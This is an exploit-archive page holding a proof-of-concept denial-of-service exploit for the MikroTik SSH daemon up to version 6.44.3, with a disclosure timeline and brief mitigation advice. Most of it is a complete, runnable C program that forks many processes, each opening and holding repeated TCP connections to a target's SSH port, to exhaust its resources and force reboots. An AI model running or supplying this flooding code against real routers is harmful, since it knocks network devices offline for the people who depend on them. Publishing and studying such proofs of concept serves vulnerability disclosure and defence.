Microtik SSH Daemon 6.44.3 Denial Of Service

Authored by Hosein Askari

Posted Mar 18, 2020

Microtik SSH Daemon version 6.44.3 denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept

SHA-256 | ef78bf04172f75d2db6c62245121b1b179e68f6949f2f6cc0e9d92cb8765d047 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Excploit Title: Microtik SSH Daemon 6.44.3 - Denial of Service (PoC)
# Author: Hosein Askari
# Date: 2020-03-18
# Vendor Homepage: https://mikrotik.com/
# Model: hAP lite
# Processor architecture: smips
# Affected Version: through 6.44.3
# CVE: N/A

#Description:
An uncontrolled resource consumption vulnerability in SSH daemon on MikroTik routers through v6.44.3 could
allow remote attackers to generate CPU activity, trigger refusal of new authorized connections with SIGPIPE
signal(SIGPIPE is the "broken pipe" signal, which is sent to a process when it attempts to write to a pipe
whose read end has closed or when it attempts to write to a socket that is no longer open for reading. The
default action is to terminate the process) and cause a reboot via connect and write system calls because of
uncontrolled resource management.
#details:
The issue reported in 02/25/2020 to the Mikrotik
First response by Mikrotik in 02/26/2020
The additional information about exploit and PoC video sent in 02/26/2020
The vulnerability is accepted by "Reinis-Jānis S" from mikrotik security team in 02/27/2020 and asked for
providing the CVE number and disclosure date
#PoC:
#Mitigation:
It can be mitigated with firewall filter and service port restrictions.
Solution:
Hardening and tuning the daemon for these 2 parameters:
1- Number of allowed unauthenticated connections to ssh daemon
2- Maximum number of connections at which we start dropping everything for ssh daemon
PoC:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define MAX_CON 32
#define MAX_THREADS 16

int Socket(char *ip, char *port) {
    struct addrinfo hints, *ret, *p;
    int sock, r;
    ssize_t bytes;
    char buffer[2048];
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    if((r=getaddrinfo(ip, port, &hints, &ret))!=0) {
        return EXIT_FAILURE;
        }
    for(p = ret; p != NULL; p = p->ai_next) {
        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
            continue;
        }
        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
            close(sock);
            continue;
        }
        break;
    }
    if(ret)
        freeaddrinfo(ret);
    fprintf(stderr, "ESTABLISHED  %s:%s\n", ip, port);
    return sock;
}

void signal_callback_handler(int signum){
       printf("Caught signal SIGPIPE %d\n",signum);
}

void mal(char *ip, char *port, int id) {
    int sockets[MAX_CON];
    int i, g=1, r;
    for(i=0; i!= MAX_CON; i++)
        sockets[i]=0;
    signal(SIGPIPE, signal_callback_handler);
    while(1) {
        for(i=0; i!= MAX_CON; i++) {
            if(sockets[i] == 0)
                sockets[i] = Socket(ip, port);
            r=write(sockets[i], "\0", 1);
            if(r == -1) {
                close(sockets[i]);
                sockets[i] = Socket(ip, port);
            }
        }
        usleep(200000);
    }
}

int main(int argc, char **argv) {
    int i;
    for(i=0; i!= MAX_THREADS; i++) {
        if(fork())
            mal(argv[1], argv[2], i);
        usleep(200000);
    }
    getc(stdin);
    return 0;
}
#########

Sincerely,
Hosein Askari
```

Login or Register to add favorites

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 154 files
- Ubuntu 73 files
- LiquidWorm 23 files
- Debian 18 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 8 files
- T. Weber 4 files
- Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed